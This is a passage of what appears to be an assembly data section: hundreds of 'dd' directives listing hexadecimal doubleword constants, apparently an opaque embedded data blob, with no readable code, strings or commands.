0F600677Ch, 0B21DD44h, 387E380h, 91032CB4h, 3BE84D3Eh dd 68008804h, 4C61FC23h, 134BBA7Ah, 620AD8h, 7855C63Ah dd 75024DFDh, 97021148h, 109F60DCh, 0C8190040h, 88525DCFh dd 1D009D0Bh, 574CCAA5h, 0F3F85Bh, 447F09E8h, 0AEB3C13h dd 8005276h, 0F7BD429Ch, 740F9DF6h, 1051008Dh, 5D021CCDh dd 0D700C0F9h, 622DDEB1h, 0B90381h, 0E26DA13h, 71ACDB8Fh dd 67173D01h, 6EE0DD3Fh, 0CAFBF0h, 2B6C05FCh, 602C68A2h dd 0F1F66200h, 9CD0B071h, 86C00377h, 74D23231h, 376CD4D8h dd 0C0AC0730h, 3B0A8365h, 1B0BC441h, 54807423h, 3933EA86h dd 0CC00C072h, 0B9C3D777h, 167F259Eh, 0D5E7DDh, 0B6878C5Bh dd 430F98ADh, 404F3ECFh, 0D8046DEh, 33921DECh, 0FF398177h dd 60DF5A54h, 0E20274B1h, 1CD6D05Eh, 0DBD54325h, 0BD183E0Ch dd 129A017Dh, 5F68AE51h, 0E3DBC8D0h, 0E2B12500h, 0C6DAB5C8h dd 0F52800B3h, 96546173h, 520072DFh, 70010D45h, 784CE23Eh dd 0F1B700B1h, 0A0E18F31h, 0DF7B279Bh, 0FC7C3A00h, 0F60F5874h dd 0A75A0071h, 0CC6CAD95h, 0B418B5F3h, 652C7CEDh, 34380CBFh dd 0D12644B7h, 5D75C301h, 3BF85535h, 4986FAE5h, 387BB432h dd 0A5169A1Dh, 53A08300h, 0B1C973h, 0D432FAD0h, 0D62163ABh dd 319F801h, 475B5584h, 0E0A9F0h, 9001040Ah, 7B744028h dd 5F506D00h, 7FDF20FAh, 8D11012Fh, 83729F0Bh, 82B020B1h dd 0F51BE401h, 0EEE7A047h, 49D8C0D8h, 3939CC2Ah, 0F7853880h dd 11DFFDFEh, 49972200h, 0EF518D42h, 29210071h, 0D0AB9CF1h dd 5700487Ah, 0A6EB1CF9h, 73BFFDB5h, 4882E4D2h, 98003094h dd 2396B9FFh, 0C0A0D714h, 0DC07FD6Bh, 0A506BB86h, 58466DA7h dd 35C400D0h, 2C5E3764h, 8EA0D980h, 8B1E16DBh, 0CB4065FEh dd 735993FAh, 6A0A1279h, 0C6D44AFCh, 0F91300A0h, 0EC6CB1DCh dd 9D3A1400h, 0D1EDD3FBh, 17200F3h, 2B8F5FC7h, 0EC01E7E1h dd 3C12906Ah, 0F88B795Dh, 0DE80D47Eh, 0A32C7A05h, 0F1D23100h dd 5C91F373h, 6D253BCBh, 4238C007h, 30F08048h, 0B31515CAh dd 1CC94D5h, 0A60A40E4h, 408FA5BCh, 0CCA1FFF5h, 0DF1EAF14h dd 92FC01A0h, 4D058CA0h, 28A24833h, 0C1F9E338h, 0AC50DFCDh dd 1FBE47Eh, 0A52F75A1h, 0D854B85Dh, 0D7099E41h, 0A0FD55B5h dd 8A8FE5A4h, 9D9200F7h, 0D3BFCD22h, 0BA03FA8Dh, 86644D9Bh dd 0F64CA35Ch, 35E224BAh, 32916038h, 850188EEh, 60BC7598h dd 0F32035CBh, 20C0557h, 809BCC49h, 50E4135Bh, 5E08A4Dh dd 0DAE1A4BEh, 91BBF041h, 7080BFF5h, 0E3081499h, 61F835BAh dd 2ACB6200h, 0CDD1157Dh, 51B10092h, 2246F7EDh, 0D000AA67h dd 65DEA290h, 3E1A0CEh, 0EE1A45B7h, 4D885655h, 49E4DC96h dd 2BB4F0A8h dd 5BA6B900h, 0BBDDD4D5h, 73751240h, 52780001h, 63F92D98h dd 74CAE800h, 6A7AC8D5h, 640E508Bh, 0C0A20796h, 4729E6DBh dd 4CC8C0A3h, 8E014FFDh, 721DAC12h, 5430364Dh, 0B69D0F90h dd 0D98C31F2h, 7D0FBE80h, 25350154h, 0FA80048Eh, 6157F8h dd 0CE91C669h, 0D3C878C0h, 0B727BD0Eh, 5BA1606Eh, 30C36893h dd 0E7A89C0Dh, 40016E8h, 58F88579h, 5436B4h, 29AF871Bh dd 2D14C20Dh, 27000EE4h, 459C890Ah, 249A7D68h, 2FE7BB8h dd 0CE5B33F0h, 0A316E440h, 9122731Fh, 0C2E04C58h, 0DA8F0021h dd 3A3BE763h, 0DCA889BAh, 0AA0ECF8Ch, 0E00B14A8h, 222DB08Eh dd 157E6Bh, 3CE87C91h, 2C674FBh, 0B0F5AF00h, 310EEF62h dd 6E5E00B1h, 0E7C51095h, 27775482h, 46715490h, 0DD963A00h dd 8ED33E86h, 0F8650115h, 24036755h, 0EE383021h, 18604B24h dd 0E830C580h, 0C3738031h, 0AD44D098h, 80577EB1h, 65213CC0h dd 7DF5D9h, 2801030Dh, 9714A4CFh, 604A8524h, 1322C160h dd 0F00C504Ch, 896E075Dh, 90AF4243h, 72753592h, 3BE62302h dd 4059DA11h, 65CED98h, 8201704Fh, 0D80749D5h, 0E450A714h dd 8454D270h, 45B7DEEh, 12F097D3h, 504090BDh, 52007BCCh dd 454055F3h, 0F48D48FDh, 892E12CFh, 85EC41AAh, 0DC1C2F7Ah dd 0E85495D1h, 230B8B94h, 1DFB44E0h, 46BE8420h, 4D1E0145h dd 0C0C621C1h, 56B140h, 4F3FCA15h, 0DB034CDFh, 816E883Dh dd 94FEC307h, 44216AEDh, 3C5DC0CFh, 0AC2A2CC0h, 5FD90028h dd 7B5A5518h, 0FAA2A501h, 4ACB3C40h, 0C28CD09Ch, 2048E88Fh dd 0C39D38E0h, 21739400h, 0E653915Eh, 74EF0001h, 0F84E133h dd 0CA05A6B2h, 675847B1h, 91961682h, 60FE45B4h, 13173FC6h dd 24B1F07h, 843C73B0h, 56712046h, 10074D46h, 0A0CCD59Bh dd 0AF7BF3CDh, 0BE578400h, 87ECBA14h, 73BB005Ch, 11B24C4Ah dd 0E00DE85h, 0FAB51F95h, 0BA48F75h, 360BC9D3h, 0A1E40680h dd 913C42E5h, 0A4712472h, 0C46CF001h, 0D8405852h, 301FE0F8h dd 0B4909FD6h, 850C61E7h, 2057CB4Fh, 5BEF0050h, 972B7C2Fh dd 0F00056EBh, 0F5947211h, 6EFA8F69h, 0BDFD5901h, 3E009858h dd 89176723h, 200097BDh, 0CD288E1Ch, 3A246499h, 1A80D06Ah dd 18E3C51Fh, 6F03A001h, 0F38289F0h, 2CBDC859h, 2C209009h dd 6446DBh, 0FE80CC40h, 0FF00DC45h, 0CB1BEF11h, 68743Dh dd 3FC5DD0Fh, 4373974Ch, 22AF19C0h, 9FE75AAh, 71671084h dd 0CC927281h, 0C42C2068h, 0E4802098h, 0AE0008C0h, 5D79195Bh dd 75A633h, 0F0A837A9h, 0EF579BFAh, 628210Ch, 3DBFE859h dd 24800F50h, 0FE9B37B9h, 0D0970E32h, 7D24C47h, 9ACF7607h dd 2038E74Dh, 0EDCBC422h, 0DB6E9901h, 778FA3FAh, 25B6D8h dd 0C0E06D60h, 0C42E31D0h, 0AAB56F1Eh, 84D60C00h, 66F819h dd 0A0E312F3h, 0CDFA99B8h, 0CFEA4A00h, 0E8C99F39h, 5AA0083h dd 3F07692Ch, 0D000635Bh, 0CC76272Dh, 1EE87Fh, 0FB86776Eh dd 222B9ACAh, 10EC4C07h, 59087A5h, 9E8542Eh, 25F4C4FCh dd 14385060h, 28081100h, 0C929A512h, 0D5092EC2h, 0A2444210h dd 1F55F000h, 91FB0F4Ah, 0C03F6592h, 2D9BD179h, 0D600576Dh dd 4CC2CDFCh, 30B74449h, 2AF83CB4h, 9F0F2D69h, 21356003h dd 0AFCE87C1h, 7B7A8570h, 54BD1D2Eh, 830281C5h, 8FCD7740h dd 9D1E1770h, 0A2215E8Bh, 64439F00h, 4CA94468h, 473210C0h dd 0AFB9BBh, 1AABAEB6h, 50B746CBh, 0E8119032h, 80B86433h dd 0FB88F9h, 30E1AF06h, 2C5C97Dh, 0CE757C9Ah, 0FD281E02h dd 0C16684F2h, 4AE01FDCh, 5CF95898h, 6F22540Eh, 5101C114h dd 0D232598Bh, 94A1C284h, 0E4A3ED7Dh, 7898AA8Fh, 1489D126h dd 70387980h, 0E00B4C4Bh, 8726030Eh, 8E85F0D5h, 0AC463094h dd 0E4760006h, 0CD841EDAh, 5504854Bh, 0CBA0BB5Bh, 0A406CA4h dd 0C9BC81Dh, 442CBD90h, 0C5A380F0h, 1C55ACD8h, 0F6389A04h dd 25837096h, 58A3AC22h, 4A72BC02h, 0A8A0B8CBh, 7E333A79h dd 3854144Dh, 48D80B2h, 0AC74BBC3h, 6C2100EAh, 58251488h dd 562BA146h, 0E7878035h, 54B03EBCh, 0DBE6Bh, 2C16BA0Eh dd 2AFBF014h, 0F4B904FCh, 22614309h, 60FAC844h, 253CC7F8h dd 0AC187888h, 890FAE68h, 0B2B144A6h, 0A0035D0Bh, 37F8D674h dd 0D4FE4D99h, 1BE41E71h, 0AC4702AEh, 2061DAC6h, 288625Ah dd 44A41A4Dh, 0E984B003h, 7740F0Ah, 2E22CF79h, 8485755h dd 0F8584EF6h, 0C0AC58BCh, 15A810DFh, 767E00AAh, 4E7B0D33h dd 2B8B1D6h, 14963D00h, 2BDA9182h, 744100A6h, 6ED476EEh dd 805FE9Ch, 1C80EBD9h, 0B01998C0h, 0E9FCA82Ch, 98E4005Fh dd 0F2CE38D2h, 0BB01511Eh, 4C1F6C61h, 0A7EFA514h, 92ED5890h dd 601894FDh, 9D844804h, 5BCA8600h, 4F6DF542h, 15C500F8h dd 55D1BCA5h, 0D70BB6F6h, 80B219ACh, 104C296Eh, 0DC3F5031h dd 36EF0013h, 2C2F35A9h, 0CCA06C8Ch, 8B142953h, 129462FBh dd 6206A427h, 2A79FD96h, 0FC2613h, 5AD02963h, 0F93C3350h dd 15866805h, 0C00EE83h, 907CE851h, 82190107h, 0DBA40BEh dd 0E5B9EC47h, 8B1716B0h, 7603623Fh, 0F0302FB8h, 1D7F90D3h dd 0C4832566h, 805E81E2h, 3E1C4188h, 3C6AE707h, 7B407AFCh dd 5892F0h, 95761F3Ah, 0D7FC1AFh, 83226B0Eh, 4B7A817Eh dd 8BC0DD62h, 2E1D7EF1h, 270552h, 0B32B0361h, 18B0765Bh dd 0CA271207h, 8D50E12Ah, 22CD3Bh, 79EF3CF8h, 2F576ED5h dd 0C2F7260Bh, 0DC3B802Ah, 0F0FA74h, 59018A08h, 0F1D57EDh dd 0FC185A00h, 3C4B51D7h, 9B2113DDh, 2D242010h, 9E70BAC0h dd 1C3A40Fh, 0B0DF408Eh, 13B4534h, 632762E9h, 74E3325Dh dd 0C30078B8h, 0DFB7BFC9h, 0E7B543h, 0D5859B3Bh, 6312B8D0h dd 0FEFB1113h, 0FF47880h, 0EFC03B1Dh, 26C32200h, 5D5BAA12h dd 0E9941918h, 900C11h, 6E24764Ah, 77AE7150h, 38110D00h dd 6DD00198h, 0C0CC5C1Ah, 0AD2A6A01h, 70552BA9h, 462E1DA5h dd 0CF1F3CF4h, 0AC16D347h, 62A8E8E0h, 0E08300A7h, 1DEF080Ah dd 0B4000750h, 919433E4h, 0A7632Ah, 0A4C1B5Bh, 3C19A13Fh dd 0C106800h, 3E32F039h, 6F7706ADh, 604F5727h, 0A9DEBC05h dd 8380B86Bh, 1E7356Dh, 37AD29B5h, 8E28DCFAh, 948729h dd 1E98DF6h, 1977915h, 62182D2Ah, 600B9586h, 2E754BCCh dd 76D89E00h, 0DDE4F0F8h, 34F004Ah, 4E20489Bh, 75003E3Bh dd 87C8F1B1h, 7E30E442h, 70B90079h, 0EAC0AD2Eh, 52CC373h dd 45007DE2h, 85EF37EDh, 2A00EFDh, 0E340CEB2h, 0F7D5BABEh dd 0ACCFC500h, 4F8B83DCh, 0D1101F49h, 83EB9CA7h, 83630CCh dd 4FC059FAh, 2C1C540Fh, 0A14673F4h, 50CC95h, 2D800535h dd 58069D94h, 1DA33D1Fh, 0D7F85080h, 23A48Eh, 76DEECC9h dd 2494C8F6h, 0D3482A1Dh, 0C4930C41h, 3CB698h, 1A55A200h dd 7DE768BBh, 0AED13Ch, 49DECC88h, 95401Eh, 0B1871D17h dd 6C0AD3FCh, 0C16B0E00h, 97AFD38h, 0E6E90E7Dh, 0CDC0CA9Eh dd 0AE96E1C7h, 0EB21DC02h, 6C4483E0h, 458E12D0h, 0B600295h dd 1878B95Bh, 1000EFF0h, 16BE9B2Ch, 36D4FB2h, 7A7CDCC4h dd 6398B499h, 0CA00A17Dh, 0A7C3078Ah, 0D33327h, 8FA63A25h dd 777980A8h, 60E8DE70h, 6600FA7Dh, 0E1984F01h, 0E2235Ch dd 0F46B0C30h, 367BB819h, 4334660Bh, 0A4080C46h, 16177D07h dd 0B35237h, 6215799Eh, 900CB28h, 1303FC2Ch, 0D0EC3Eh dd 5F89B61Ah, 0F3426CF2h dd 9C028A76h, 5ABA4DCEh, 3EB4096h, 1C6FE0F4h, 412D1CCBh dd 9843F615h, 0CCA02BB1h, 0AC190260h, 472A578h, 6A758840h dd 91F47900h, 309C46D8h, 0BEDC0342h, 0C33A23CEh, 0AB815FA0h dd 8FA56F00h, 0CF933777h, 0D04C2E9Dh, 6B0100C8h, 0A3C3C266h dd 0D809113Ch, 0DBED0C03h, 90D8B182h, 69D90ED0h, 0B3A0D599h dd 90C6AD31h, 60441D00h, 88915878h, 0EEF8B82Bh, 2D0F00C1h dd 53280919h, 3426D170h, 9000E114h, 96EAC7DFh, 4F25008Ch dd 7B0C270Dh, 1034A81h, 0F22A98Bh, 8910A3EDh, 7DECBD55h dd 0AA6F003Bh, 566AB2EFh, 77285EACh, 6D00B792h, 714B0598h dd 4251BCh, 483BE1E5h, 61A03116h, 35C96800h, 0B924ABFh dd 0D8552897h, 8FF4A0E8h, 13611C21h, 85A84018h, 0F2DC4E04h dd 2A591C1Dh, 3A15D9C1h, 0A4CC38CDh, 0C2090327h, 26045E4h dd 78370FB8h, 0E2008490h, 0FED450EBh, 17BA780h, 61CC3D49h dd 0CC41D89Ah, 0DD070CDAh, 34A99DFh, 8007D730h, 0D92606CEh dd 10D89D2Ah, 4790C005h, 0B3007040h, 45B2D367h, 395D381Bh dd 0F144B783h, 2EC11A74h, 3C78BC66h, 1FE43E7Ch, 54963A0Bh dd 57F48C0h, 55B700BBh, 9DB1B2CFh, 0E30525C7h, 0CE7E86DCh dd 9E8546C1h, 0F41FCFD0h, 0AF6000D1h, 8EADDB67h, 5C0014CAh dd 0F13B4DD8h, 12D95B79h, 1D44BB3Fh, 80988778h, 0E0898EF8h dd 87FC8C60h, 81709100h, 3E8D298Eh, 3D7500E2h, 481F2DD9h dd 7430C221h, 0B98C883Ch, 386D60EDh, 996BEE5Ah, 7CF0273Bh dd 196C1030h, 38FAF6h, 411A64F3h, 0F814E4D1h, 950052F8h dd 887BA2FCh, 765424h, 0E2BEABF5h, 59C6A3F6h, 0BCCB448h dd 0A013EEBBh, 0BCC225D8h, 6DB10692h, 9B9BAC6h, 5212760h dd 31CB62Ah, 67AAEF4Ch, 0D900FFC5h, 95D96D0Ah, 3F3CF10h dd 0F255F132h, 79E18675h, 26418011h, 0DE013EBEh, 0DA73CABh dd 5F62067Eh, 386334BDh, 50188630h, 30417268h, 0FA61FEDDh dd 0E101FB81h, 391B24F1h, 89327D9h, 99F4C098h, 0E300FB88h dd 7E041079h, 6062EFB8h, 0EBF3792Bh, 0D17106C7h, 0C1DFA900h dd 47BFE053h, 0AAED0A32h, 41B48683h, 0D982B76Bh, 8890B2C0h dd 0F4303036h, 2CF1EC11h, 79E484h, 75FB839Ah, 56FF58E0h dd 486E3018h, 4E00FD5Bh, 0D46D858Ch, 8E41ABh, 6C643C46h dd 0EE545870h, 5DCBF700h, 85B02ADDh, 0AD70E9FAh, 16070F7Eh dd 5EE0B517h, 0FD046D1Bh, 8C650200h, 60882BF0h, 36143F98h dd 7562640Eh, 0C235FB20h, 68016726h, 9FE5B26Bh, 0C6C03C69h dd 0BE820081h, 0D76D2A2Bh, 7300DB0Ch, 6091F9Eh, 9AFA04h dd 8D34BCCAh, 92E5ED27h, 71379C00h, 69314BB8h, 51870ECDh dd 34A79957h, 9DC6A088h, 12004795h, 26F99410h, 7F2BF3A7h dd 0AE8B03CCh, 0A6B193EAh, 454ECFC8h, 0C60040F0h, 78551453h dd 91D6D8h, 9BC443ECh, 0F88CDEF1h, 0A1D1BF00h, 0FFE7EE20h dd 0A8AB39BCh, 0E94E2ACh, 59E08079h, 7848AC08h, 0C50091E8h dd 5D50B3D1h, 303C4E2Dh, 0F310D963h, 6677EADEh, 2EF88407h dd 0C110203Dh, 11089Ah, 0A3A4C2E3h, 933AF1B6h, 0B7FEED00h dd 5E6AD458h, 0C2DE1E73h, 0DB8A003Ch, 0DC508C21h, 0B6671100h dd 7782355Bh, 0CF870094h, 0A35E1FAAh, 0CD0C3057h, 317C8DF9h dd 0CB8800B3h, 0A45B3E42h, 8EE0B6Ch, 0A7ED1C1Eh, 303C326h dd 0B137DF77h, 21F87D30h, 445A03CCh, 7FF62B20h, 0BDFC48A6h dd 0C5F308C7h, 1EC0E451h, 60A2E9C8h, 2E3940B0h, 62016B9Bh dd 0CB2F7CF5h, 0B9FCBBFBh, 63E500D2h, 3B78EDAEh, 150E3418h dd 98AF078Bh, 0FFD4A10h, 30D59B7Fh, 312ACC7Fh, 1460A508h dd 7C05EA20h, 6F5F00CBh, 38B03E48h, 0B700C4F6h, 8D521AFCh dd 0F71955Ch, 84BCBB4Dh, 40BD7307h, 382123EAh, 1F019000h dd 0F62DC9B0h, 1D8C0052h, 0AEBAAFF2h, 0A43C183Ah, 0E14F80DFh dd 7B7A5E06h, 99C00FEh, 24CA7301h, 2877776Fh, 5D15AA03h dd 0A0A10DF7h, 1F7BF0A9h, 0A35105Fh, 836809B8h, 0D5907F96h dd 3E63B4h, 7F9EE371h, 0C07502D9h, 39C0E07Bh, 0EC65FF90h dd 537438D5h, 4A18ADB0h, 0BC019473h, 0C031B5E3h, 3180ABB4h dd 58D0DF8Dh, 0A610CDA7h, 2E3AAA54h, 6530B0Ch, 4B007811h dd 1FE0D032h, 3A982710h, 7E3011F1h, 32401261h, 609D4700h dd 0D3B0EA3Fh, 25B3720h, 6F05B041h, 7A01A1FDh, 6C98DAAFh dd 14E4C58Dh, 997200EAh, 0A6E126Ah, 1600E6F7h, 0B2C0F410h dd 3019231h, 0CAA8B89h, 51001802h, 43406A7Dh, 0C81AFBh dd 0C1D71EB7h, 8D542E8Bh, 0C201610Ch, 18AAE07Fh, 80E3A4Ah dd 7CA0B947h, 0D4741C6Bh, 3D2DFD18h, 3F1B59h, 0FCBA076Fh dd 0CCA27154h, 0F8604F74h, 6F48E221h, 0EC3007B5h, 0A7BCEE2Fh dd 39208146h, 0C24C21AAh, 38C33080h, 0E900ED17h, 7EC43EB1h dd 0AA4A04h, 5EA403D5h, 6E8525C2h, 0BAA6E514h, 8B8D80D4h dd 0C90B306h, 6DA8552Dh, 60605A18h, 0CA3880F9h, 76D60075h dd 0C2E45D33h, 20013A5h, 0B560F8F7h, 3A8E1D9Ah, 92007D70h dd 0D01EA269h, 0A516D473h, 1EA91A0h, 81B23D32h, 0C9D8803Ah dd 0C3CAD6EEh, 28970012h, 8EE3E168h, 3E00EC01h, 0CBC4BE2Dh dd 1A27411h, 9AA0F591h, 5768B23Fh, 156560B0h, 9F00B6C9h dd 8CB805C2h, 31633FBh, 0A6E2D357h, 0C10701E9h, 0A5DCD53Eh dd 708B4B11h, 0C1890E3Fh, 531A7A81h, 29BD7Bh, 42FBB24h dd 0A316Ah, 0D56D9ABCh, 2177D365h, 8AE9C8A8h, 0E0A74B03h dd 0F8F8E474h, 61EB064h, 0D02D7011h, 0C0152925h, 18CC51D3h dd 0ACF9CCB5h, 0C1884CFDh, 0D0E20671h, 607ED394h, 71A0844h dd 48F32C3Ah, 3CA33033h, 0BB7EE4F7h, 6F003E73h, 46B80AEh dd 9B135Ah, 74364EB6h, 0C50072Eh, 0DCEF5D00h, 2B416EB1h dd 54601ECEh, 0C201383Eh, 4009E4D6h, 0CBE0D0FEh, 700B071h dd 5C21B7A4h, 740B7FDFh, 9F8730D9h, 7B9AB20h, 0A6D6A201h dd 5CD07112h, 0E750CB41h, 38BC7420h, 0FCD81A36h, 0DCB87700h dd 85321ECh, 0F759900h, 0FFE4C0B7h, 6D490786h, 0B0F96B0Ch dd 2A9971C2h, 2B538200h, 45FD64A3h, 0DD58C0B8h, 0E51090E0h dd 870080DEh, 7C419C5Ah, 1FFF7BFBh, 0D8056374h, 0C0821F9h dd 892F9D00h, 0ED0E5838h, 0E0A1C056h, 0C2133CFCh, 0E8CE60C0h dd 6EC547Fh, 0FB7BC856h, 0DB0A18EAh, 3828D6E0h, 5F9C5480h dd 86048B7Ch, 0AEF144h, 79C29D0Dh, 80938B64h, 83FCF1Ch dd 0EEC470C0h, 6D3B56EBh, 0C468588Eh, 0FD00653Ah, 55F6077Ah dd 88456Dh, 0C5C02B17h, 0BA5263B1h, 249A9F00h, 71B92F0Eh dd 96B1E12h, 82EBC7A0h, 0DAF58001h, 0D800412Eh, 19359804h dd 0EC6813FDh, 0B416601Dh, 0FE669D6Fh, 92B4B003h, 0EBFAAABh dd 0FA3CF42Ch, 0AF202EA0h, 2200DE8Fh, 775CEA47h, 2A0D69Ch dd 0ACC28A06h, 5740C930h, 7658E561h, 249007A9h, 2AB0963Fh dd 1D476B35h, 642E4C1h, 11667664h, 8607407Fh, 54B285FCh dd 2CD40729h, 213866h, 0F5861239h, 0BB89F09Fh, 8007B13Dh dd 207CD226h, 3D766DDBh, 4780AE67h, 0DEC9E16Fh, 48FCE4F5h dd 0EFD2126h, 9CE0A000h, 0CCB585Ah, 9E2C5B03h, 0E2013420h dd 8BFAFF97h, 9FDFD03Ch, 765DE890h, 804660B3h, 31C75063h dd 4CF14400h, 0CCAB56F6h, 951A1C0Ch, 55370091h, 80B47F9h dd 51344A06h, 8F82BE0h, 41322A46h, 852E58Ch, 5AFC20h, 0E86FF3C2h dd 0F1FD14FEh, 0A67DEA00h, 8587ADDFh, 0DAB43347h, 0A8607780h dd 3E04FD38h dd 0B69C016Ch, 0F73B4528h, 0D8E0C8E9h, 80229300h, 0E51E0566h dd 0F9F10016h, 1911870Eh, 25267AE3h, 3600A161h, 0DA39788Dh dd 0BCFD03BEh, 5B08E5D8h, 0D4689900h, 64898FEFh, 0D1E30ED2h dd 0ED8CCB34h, 0B5009D21h, 0BDDEE0F4h, 956378h, 5702F00Eh dd 181765CEh, 0B10C9331h, 0A050F877h, 3358B2Eh, 30917C63h dd 0C0BD17C7h, 16D4760Bh, 9778FD00h, 5DE9A2B7h, 0E98123Eh dd 15E407BFh, 62BE77D4h, 0A8A055ACh, 8579944h, 4F318000h dd 0D4B8C159h, 8CB60256h, 0A8DFF9C7h, 33A00440h, 94791D00h dd 7A6DA198h, 593100B8h, 8F7E64BAh, 2500DA48h, 20989B8Eh dd 29CEB24Ch, 0C720EF76h, 58DA1257h, 0A6E1C913h, 40023426h dd 18CFAB97h, 34913042h, 4B5310B2h, 0A5BA0197h, 3A7454F8h dd 0F71880E7h, 0A378C342h, 0CBBE00A9h, 0DA0C7E39h, 7D01F9F4h dd 0E59DE6C0h, 6880D809h, 5ED927B3h, 9C00882Fh, 4198D7F2h dd 185B9ED2h, 29761A22h, 0CA00B748h, 63B06B59h, 1FBBBE45h dd 82A73BBAh, 0D5087698h, 8C06D240h, 0C5A06C00h, 5940FA0Eh dd 0BFF900F2h, 0F09BD9ACh, 0A0C8152h, 58C0AF7Ch, 791891BEh dd 2EF184Eh, 4A19D0D7h, 0A6E0BB70h, 0CB07EC6Dh, 0DCB3593Eh dd 0B77947B1h, 11C1BC40h, 0BA30A07Dh, 5C1A070Ah, 81EAE646h dd 81B44913h, 1C708429h, 7BC8196Bh, 2361329Fh, 40483C08h dd 1F7FC873h, 33D31600h, 7607FE88h, 0D090A8C7h, 98C60061h dd 0F6F77BF2h, 0F0038D7h, 91DDF362h, 9CA4036h, 96ABDA15h dd 4DDCAC20h, 8856233Fh, 10384898h, 0FFC0DF67h, 0F0A02297h dd 6B2448Ch, 8097E73Fh, 2F1E21A2h, 93B98CFh, 0B1829AEh dd 0C37E1490h, 0FBD180h, 8D9A4A2Eh, 2908283Eh, 0AC523224h dd 2A0AA4A3h, 15BE8C1Eh, 0A05CD8h, 0C461B2A8h, 30034C86h dd 5819E516h, 3B71407Fh, 9825EF2Ah, 608230Bh, 0E78181A6h dd 0A4DCE65Dh, 51A013Ch, 9618BFEh, 282420F8h, 0C90AA842h dd 6E8884B3h, 326C61E0h, 0F029E088h, 0DF00B874h, 0E1730A64h dd 85B548F4h, 0B6F312h, 0DB04DE15h, 28C3177Ch, 5825192Ah dd 0B16067C9h, 7B467C2Dh, 283F4A00h, 699877EFh, 78B4130Ch dd 0BED42079h, 61F40CDh, 9CC03802h, 0CF29B265h, 0A5ED0573h dd 6B6A6F7h, 0C8A115AEh, 159DF020h, 0D0B369CDh, 934EBD00h dd 0A2504944h, 42F5C400h, 6D55D3Eh, 608A1379h, 0EFC82078h dd 35002FB5h, 0E16B69CCh, 3EB298CAh, 0C6B17BE0h, 6014BAF9h dd 7743B778h, 0F7862D03h, 2CAC2A85h, 8635011Ah, 87DE2259h dd 639FC1Eh, 0DA6C8F00h, 671B020Bh, 0A08D0905h, 0E4809544h dd 7FFA4CEEh, 3513DD7Ch, 0A4003385h, 7887DBDFh, 8E7631h dd 81DAE854h, 0E33268B5h, 0C2288B0Fh, 0DDFD2066h, 90B7E0BBh dd 0CB2F0074h, 8AB3EFDAh, 540ACEFAh, 60F1471Fh, 49888F40h dd 60B8D185h, 60003F22h, 63258657h, 6AB6D5h, 65B83F5h dd 0F6C4A68Eh, 9D6D23Ch, 91D30B7Eh, 44224058h, 1BD2D16h dd 2952F9D7h, 4D7AE4BCh, 9AC56100h, 750340F1h, 16B53CD4h dd 7998D286h, 83007905h, 0CF275A60h, 1F168A93h, 451DE713h dd 0C46AA220h, 0C424DB48h, 0AF2271ADh, 1620A135h, 0B1247002h dd 3507529h, 8D2AFEB4h, 0C15288C5h, 0DDA1FE04h, 0E528C80Bh dd 12E1133Bh, 644BC9DBh, 9178976Fh, 0E0278E99h, 0B8ACE31Bh dd 0C0560B02h, 5809D5ABh, 0D0FDA704h, 0DAEA22DCh, 9EA23500h dd 0DE0F9FC8h, 2CEF0BBAh, 40867839h, 0D500A147h, 0D1DD40B5h dd 7113D204h, 67940054h, 46F370B9h, 6CB081D4h, 23B37112h dd 8BC5EC00h, 0C68C978h, 421BFD83h, 359C1A1h, 443428BCh dd 7B953500h, 13E79C75h, 2A202EECh, 1C15C038h, 9321196Ah dd 0CD56607Ah, 0BF01971Fh, 0FDF39CCCh, 11F5A77Dh, 0C8782180h dd 6EB5F1D4h, 0C91FAF09h, 0A1C88090h, 1767B1B9h, 1D39DD49h dd 47AD356h, 0B5767018h, 590FD054h, 4EA33500h, 260B8FBDh dd 0B533004Bh, 5A298BB2h, 7630090Ah, 0AD03319Fh, 6740F8C1h dd 70EA8196h, 0F41D37AEh, 0B8713501h, 99BB1870h, 0A6442182h dd 0B08560A0h, 93E4D7D7h, 1000C9BDh, 51BF7FD2h, 94728661h dd 0A7834034h, 2F06BB43h, 8D43F28h, 0C8930C8h, 0CFB75640h dd 10088160h, 74D92CADh, 208A40Bh, 281878FCh, 50E47C03h dd 0FF67A81Fh, 0E87F8F0Ah, 1610B0E0h, 0C029DE5Eh, 76D632BBh dd 8001983Dh, 0DC7CBD42h, 0E042714Bh, 1C7F3058h, 2319D008h dd 403D647Bh, 651FA6A4h, 3E900047h, 2FEC42C7h, 0B15964Bh dd 7AC20DAh, 9CD8FB61h, 0BE6C8720h, 113314CFh, 0F44CD87Ch dd 2401B623h, 22854686h, 3F5DB18h, 586B817h, 0E8320342h dd 2F62FBBAh, 0ABF634D8h, 13EEDE17h, 4890EC1Eh, 20C20B17h dd 7D40612Ch, 0B13054F2h, 809A2A66h, 674703B8h, 4EFC06Dh dd 2B2D901h, 6E152697h, 36A020h, 2725908Bh, 4111F8C6h dd 0F4A0B0ACh, 486DF70h, 0A0199746h, 202562C8h, 8D26CE01h dd 0D44A1307h, 5301B577h, 0CC4C6392h, 71470035h, 7FC58505h dd 69C43E88h, 7037DEF3h, 90CFA697h, 23D448Ch, 0D0977B12h dd 58189070h, 77E9C510h, 54AC40F9h, 90966878h, 40EFA600h dd 58C89D0Ah, 0B7C61391h, 214C9376h, 2744DE88h, 0D300F4E6h dd 58252BF1h, 2684473Bh, 904DFE9h, 38117903h, 0CADB0344h dd 0B2A60094h, 2B00BD61h, 37FB416Ch, 0F3E815h, 3FDF78B1h dd 875B559Ch, 7E8DA713h, 22EF3806h, 1D177B1h, 0E2ED1D6Ah dd 0C821DCA9h, 0EA3F2351h, 0AD73096Fh, 45488233h, 98000BCAh dd 0A0105E08h, 0D191E467h, 6DE541C0h, 88D096C6h, 0DB600FD4h dd 219678EFh, 0EC91CB0Ch, 0F48F880Fh, 80640547h, 77D2FC96h dd 606E49h, 3A8B04BAh, 3CD8E991h, 9304B2E2h, 0B0607D0Bh dd 0CF301950h, 7010D19Fh, 8FB200A7h, 7EEAD2CAh, 0FF267285h dd 105EA4EDh, 8E470789h, 0D0C52139h, 0F030C2B0h, 7D9E00BDh dd 2B082211h, 860478EEh, 49D8B7EBh, 0D00248E3h, 44961BEFh dd 0A110E831h, 571FF4F1h, 0BC413B67h, 368C294Dh, 1BE5F18Ch dd 2D60C629h, 4B2855D2h, 0D0825C3Eh, 0C48CC314h, 3FA1F453h dd 27B0C47h, 0D06458A5h, 0E444510Ah, 0F96CC537h, 0EED1F280h dd 67650743h, 69394B05h, 0DD46B490h, 6D09510Bh, 4D64029Bh dd 0E25CC906h, 0A6F9080h, 80526C3Bh, 7F04B090h, 